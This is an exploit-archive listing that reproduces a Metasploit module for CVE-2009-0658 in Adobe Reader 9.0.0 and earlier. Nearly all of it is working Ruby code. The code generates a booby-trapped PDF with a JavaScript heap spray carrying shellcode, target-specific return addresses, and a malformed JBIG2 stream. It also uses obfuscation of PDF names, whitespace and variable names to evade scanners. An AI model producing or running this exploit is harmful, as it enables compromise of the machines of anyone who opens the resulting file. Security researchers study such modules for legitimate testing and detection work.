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Adobe JBIG2Decode Memory Corruption Exploit

Adobe JBIG2Decode Memory Corruption Exploit
Posted Nov 26, 2009
Authored by redsand, Russell Sanford, MC, Didier Stevens, natron | Site metasploit.com

This Metasploit module exploits a heap-based pointer corruption flaw in Adobe Reader 9.0.0 and earlier. This Metasploit module relies upon javascript for the heap spray.

tags | exploit, javascript
MD5 | 19c89751bf0373e4af9b9aa3630c9a20

Adobe JBIG2Decode Memory Corruption Exploit

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###
## This file is part of the Metasploit Framework and may be subject to
## redistribution and commercial restrictions. Please see the Metasploit
## Framework web site for more information on licensing and terms of use.
## http://metasploit.com/framework/
###

require 'msf/core'
require 'zlib'

class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::FILEFORMAT

def initialize(info = {})
super(update_info(info,
'Name' => 'Adobe JBIG2Decode Memory Corruption Exploit',
'Description' => %q{
This module exploits a heap-based pointer corruption flaw in Adobe Reader 9.0.0 and earlier.
This module relies upon javascript for the heap spray.
},
'License' => MSF_LICENSE,
'Author' =>
[
# Metasploit implementation
'natron',
# bl4cksecurity blog explanation of vuln [see References]
'xort', 'redsand',
# obfuscation techniques and pdf template from util_printf
'MC', 'Didier Stevens <didier.stevens[at]gmail.com>',
],
'Version' => '$Revision$',
'References' =>
[
[ 'CVE' , '2009-0658' ],
[ 'OSVDB', '52073' ],
[ 'URL', 'http://bl4cksecurity.blogspot.com/2009/03/adobe-acrobatreader-universal-exploit.html'],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 1024,
'BadChars' => ""
},
'Platform' => 'win',
'Targets' =>
[
[ 'Adobe Reader v9.0.0 (Windows XP SP3 English)', { 'Ret' => 0x0166B550 } ], # Ret * 5 == 0x07018A90 (BIB.dll)
[ 'Adobe Reader v8.1.2 (Windows XP SP2 English)', { 'Ret' => 0x9B004870 } ], # Ret * 5 == 0x07017A30 (BIB.dll)
],
'DisclosureDate' => 'Feb 2009',
'DefaultTarget' => 0))

register_options([
OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']),
], self.class)

end

def exploit
# Encode the shellcode.
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
ptroverwrite = Rex::Text.to_unescape([target.ret].pack("V"))

nops = Rex::Text.to_unescape(make_nops(4))

# Randomize some variables
rand1 = rand_text_alpha(rand(50) + 1)
rand2 = rand_text_alpha(rand(50) + 1)
rand3 = rand_text_alpha(rand(50) + 1)
rand4 = rand_text_alpha(rand(50) + 1)
rand5 = rand_text_alpha(rand(50) + 1)
rand6 = rand_text_alpha(rand(50) + 1)
rand7 = rand_text_alpha(rand(50) + 1)
rand8 = rand_text_alpha(rand(50) + 1)
rand9 = rand_text_alpha(rand(50) + 1)
rand10 = rand_text_alpha(rand(50) + 1)
rand11 = rand_text_alpha(rand(50) + 1)
rand12 = rand_text_alpha(rand(50) + 1)
rand13 = rand_text_alpha(rand(50) + 1)
rand14 = rand_text_alpha(rand(50) + 1)
rand15 = rand_text_alpha(rand(50) + 1)
rand16 = rand_text_alpha(rand(50) + 1)

script = %Q|
var #{rand1} = "";
var #{rand2} = "";
var #{rand3} = unescape("#{shellcode}");
var #{rand4} = "";

for (#{rand5}=128;#{rand5}>=0;--#{rand5}) #{rand4} += unescape("#{nops}");
#{rand6} = #{rand4} + #{rand3};
#{rand7} = unescape("#{nops}");
#{rand8} = 20;
#{rand9} = #{rand8}+#{rand6}.length
while (#{rand7}.length<#{rand9}) #{rand7}+=#{rand7};
#{rand10} = #{rand7}.substring(0, #{rand9});
#{rand11} = #{rand7}.substring(0, #{rand7}.length-#{rand9});
while(#{rand11}.length+#{rand9} < 0x40000) #{rand11} = #{rand11}+#{rand11}+#{rand10};
#{rand12} = new Array();
for (#{rand5}=0;#{rand5}<100;#{rand5}++) #{rand12}[#{rand5}] = #{rand11} + #{rand6};

for (#{rand5}=142;#{rand5}>=0;--#{rand5}) #{rand2} += unescape("#{ptroverwrite}");
#{rand13} = #{rand2}.length + 20
while (#{rand2}.length < #{rand13}) #{rand2} += #{rand2};
#{rand14} = #{rand2}.substring(0, #{rand13});
#{rand15} = #{rand2}.substring(0, #{rand2}.length-#{rand13});
while(#{rand15}.length+#{rand13} < 0x40000) #{rand15} = #{rand15}+#{rand15}+#{rand14};
#{rand16} = new Array();
for (#{rand5}=0;#{rand5}<125;#{rand5}++) #{rand16}[#{rand5}] = #{rand15} + #{rand2};
|
eaxptr = "\x00\x20\x50\xff" # CALL DWORD PTR DS:[EAX+20]
eaxp20ptr = "\x05\x69\x50\x50" # Shellcode location called by CALL DWORD PTR DS:[EAX+20]
modifier = "\x00\x69\x00\x00" # ECX values seen: 02004A00, 033C9F58, 0338A228, 031C51F8, 0337B418
# natron@kubuntu-nkvm:~$ ./pdf-calc-val.rb 0x690000
# EAX: 0x690000 ECX: 0x2004a00 WriteAddr: 0xa3449ec
# EAX: 0x690000 ECX: 0x358a228 WriteAddr: 0xb8ca214

jbig2stream = eaxptr + "\x40\x00" + modifier + eaxp20ptr

# Create the pdf
pdf = make_pdf(script, jbig2stream)

print_status("Creating '#{datastore['FILENAME']}' file...")

file_create(pdf)
end

def RandomNonASCIIString(count)
result = ""
count.times do
result << (rand(128) + 128).chr
end
result
end

def ioDef(id)
"%d 0 obj" % id
end

def ioRef(id)
"%d 0 R" % id
end

#http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
def nObfu(str)
result = ""
str.scan(/./u) do |c|
if rand(3) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
result << "#%x" % c.unpack("C*")[0]
# Randomize the spaces and newlines
elsif c == " "
result << " " * (rand(3) + 1)
if rand(2) == 0
result << "\x0d\x0a"
result << " " * rand(2)
end
else
result << c
end
end
result
end

def ASCIIHexWhitespaceEncode(str)
result = ""
whitespace = ""
str.each_byte do |b|
result << whitespace << "%02x" % b
whitespace = " " * (rand(3) + 1)
end
result << ">"
end

def make_pdf(js, jbig2)

xref = []
eol = "\x0d\x0a"
endobj = "endobj" << eol

# Randomize PDF version?
pdf = "%%PDF-%d.%d" % [1 + rand(2), 1 + rand(5)] << eol
pdf << "%" << RandomNonASCIIString(4) << eol
xref << pdf.length
pdf << nObfu(" ") << ioDef(1) << nObfu(" << /Type /Catalog /Outlines ") << ioRef(2) << nObfu(" /Pages ") << ioRef(3) << nObfu(" /OpenAction ") << ioRef(5) << " >> " << endobj
xref << pdf.length
pdf << nObfu(" ") << ioDef(2) << nObfu(" << /Type /Outlines /Count 0 >> ") << endobj
xref << pdf.length
pdf << nObfu(" ") << ioDef(3) << nObfu(" << /Type /Pages /Kids [ ") << ioRef(4) << nObfu(" ") << ioRef(7) << nObfu(" ] /Count 2 >> ") << endobj
xref << pdf.length
pdf << nObfu(" ") << ioDef(4) << nObfu(" << /Type /Page /Parent ") << ioRef(3) << nObfu(" /MediaBox [0 0 612 792 ] >> ") << endobj
xref << pdf.length
pdf << nObfu(" ") << ioDef(5) << nObfu(" << /Type /Action /S /JavaScript /JS ") + ioRef(6) + " >> " << endobj
xref << pdf.length

compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js), rand(5)+4) # Add random 4-9 compression level
pdf << nObfu(" ") << ioDef(6) << nObfu(" << /Length %s /Filter [ /FlateDecode /ASCIIHexDecode ] >>" % compressed.length) << eol
pdf << "stream" << eol
pdf << compressed << eol
pdf << "endstream" << eol
pdf << endobj
xref << pdf.length

pdf << nObfu(" ") << ioDef(7) << nObfu(" << /Type /Page /Parent ") << ioRef(3) << " /Contents [ " << ioRef(8) << " ] >> " << eol

xref << pdf.length
compressed = Zlib::Deflate.deflate(jbig2.unpack('H*').to_s, rand(8)+1) # Convert to ASCII hex, then deflate using random 1-9 compression
pdf << nObfu(" ") << ioDef(8) << nObfu(" << /Length %s /Filter [ /FlateDecode /ASCIIHexDecode /JBIG2Decode ] >> " % compressed.length) << eol
pdf << "stream" << eol
pdf << compressed << eol
pdf << "endstream" << eol
pdf << endobj

xrefPosition = pdf.length
pdf << "xref" << eol
pdf << "0 %d" % (xref.length + 1) << eol
pdf << "0000000000 65535 f" << eol
xref.each do |index|
pdf << "%010d 00000 n" % index << eol
end
pdf << "trailer" << nObfu("<< /Size %d /Root " % (xref.length + 1)) << ioRef(1) << " >> " << eol
pdf << "startxref" << eol
pdf << xrefPosition.to_s() << eol
pdf << "%%EOF" << eol
end

end

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